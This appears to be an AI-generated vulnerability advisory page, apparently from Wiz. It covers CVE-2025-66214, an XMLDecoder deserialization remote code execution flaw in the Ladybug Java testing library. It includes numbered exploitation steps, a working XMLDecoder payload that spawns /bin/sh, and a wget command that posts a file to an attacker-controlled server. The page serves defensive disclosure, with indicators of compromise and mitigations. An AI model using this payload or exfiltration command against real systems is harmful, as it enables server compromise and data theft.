CVE-2025-66214: 
Homebrew vulnerability analysis and mitigation

Overview

CVE-2025-66214 is an XMLDecoder deserialization vulnerability in the Ladybug debugging and testing library for Java applications (part of the frankframework ecosystem) that allows low-privileged attackers to achieve Remote Code Execution (RCE). All versions prior to 3.0-20251107.114628 are affected. The vulnerability was published on December 9, 2025, with a fix available in version 3.0-20251107.114628. It carries a CVSS v3.1 base score of 8.8 (High) per NVD/Feedly, though the GitHub advisory scores it at 7.0 (High) using a local attack vector (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is insecure deserialization of untrusted data (CWE-502), specifically through Java's XMLDecoder class used in src/main/java/nl/nn/testtool/util/Import.java. The vulnerable API endpoints — /iaf/ladybug/api/report/{storage} and /iaf/ladybug/api/report/upload — accept gzip-compressed XML files uploaded by users. Because the XML content is deserialized without sufficient validation, an attacker can craft a malicious XML payload that, when processed by XMLDecoder, triggers arbitrary Java method invocations and OS command execution. Exploitation requires low-level authenticated access (low privileges) and network reachability to the Ladybug API (GitHub Advisory).

Impact

Successful exploitation grants an attacker the ability to execute arbitrary commands on the target server as the application's service account, resulting in high impact to confidentiality, integrity, and availability. An attacker can read sensitive data, modify or delete files, install backdoors, and potentially pivot laterally within the network. The PoC demonstrated in the advisory shows exfiltration of command output to an external server, confirming real data exposure risk (GitHub Advisory, Feedly).

Exploitability

A proof-of-concept (PoC) exploit is publicly available in the GitHub security advisory, demonstrating the full attack chain including XML payload crafting, gzip compression, file upload, and exfiltration of command output via webhook. There is no current evidence of in-the-wild exploitation. The EPSS score is approximately 0.197%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report (GitHub Advisory, Feedly).

Exploitation steps

  1. Reconnaissance: Identify frankframework deployments exposing the Ladybug web interface (typically accessible at /iaf/ladybug/) using network scanning or web application fingerprinting tools.
  2. Authenticate: Obtain low-privileged credentials to the frankframework/Ladybug application (the vulnerability requires only low privileges).
  3. Craft malicious XML payload: Create an XML file exploiting Java's XMLDecoder to execute an OS command, for example:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8" class="java.beans.XMLDecoder">
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0"><string>/bin/sh</string></void>
      <void index="1"><string>-c</string></void>
      <void index="2"><string>whoami > /tmp/1</string></void>
    </array>
    <void method="start"/>
  </object>
</java>
  1. Compress the payload: Use gzip to compress the XML file into a .ttr file (e.g., using the Python gzip module as shown in the advisory PoC).
  2. Upload the payload: Navigate to the Testing > Ladybug page in the frankframework UI and use the Upload function, or POST the .ttr file directly to /iaf/ladybug/api/report/upload or /iaf/ladybug/api/report/{storage}.
  3. Trigger deserialization: The server deserializes the uploaded XML via XMLDecoder, executing the embedded OS command.
  4. Exfiltrate results: Use a follow-up payload (e.g., wget --post-file /tmp/1 https://attacker-controlled-server/) to retrieve command output from the server (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS requests from the application server to unexpected external hosts (e.g., webhook.site or attacker-controlled domains) shortly after file upload activity; unusual POST requests to /iaf/ladybug/api/report/upload or /iaf/ladybug/api/report/{storage} containing gzip-compressed content.
  • File System: Unexpected files created in /tmp/ or other world-writable directories (e.g., /tmp/1) by the Java application process; new or modified files in the application deployment directory.
  • Logs: Application server access logs showing POST requests to /iaf/ladybug/api/report/upload or /iaf/ladybug/api/report/{storage} with .ttr file uploads from unexpected source IPs; Java exceptions or stack traces referencing XMLDecoder or nl.nn.testtool.util.Import in application logs.
  • Process: Unexpected child processes spawned by the Java application server process (e.g., /bin/sh, wget, curl, python) visible in OS process listings (GitHub Advisory).

Mitigation and workarounds

Upgrade Ladybug to version 3.0-20251107.114628 or later, which resolves the insecure deserialization issue. As an interim workaround, restrict network-level access to the Ladybug API endpoints (/iaf/ladybug/api/report/{storage} and /iaf/ladybug/api/report/upload) to trusted internal systems only using firewall rules or reverse proxy ACLs. Additionally, enforce the principle of least privilege by limiting which users can access the Ladybug interface, and monitor upload activity to these endpoints for anomalous behavior (GitHub Advisory, Red Hat CVE).

Community reactions

The vulnerability was reported by security researcher R1ckyZ and remediated by the wearefrank development team (developer nielsm5, reviewer jacodg). Red Hat has tracked the CVE in their security advisory database. No significant broader media coverage or notable community commentary beyond the GitHub advisory has been identified at this time (GitHub Advisory, Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related Homebrew vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-112393CRITICAL9.2
  • Python logoPython
  • open-webui
NoYesOct 19, 2026
CVE-2026-112392HIGH8.2
  • Python logoPython
  • pillow-python2
NoYesOct 19, 2026
CVE-2026-112395HIGH8.2
  • Python logoPython
  • kubeflow-pipelines-visualization-server
NoYesOct 19, 2026
CVE-2026-112396HIGH7.5
  • Python logoPython
  • pillow-python2
NoYesOct 19, 2026
CVE-2026-112394MEDIUM6.3
  • Python logoPython
  • python-pillow
NoYesOct 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management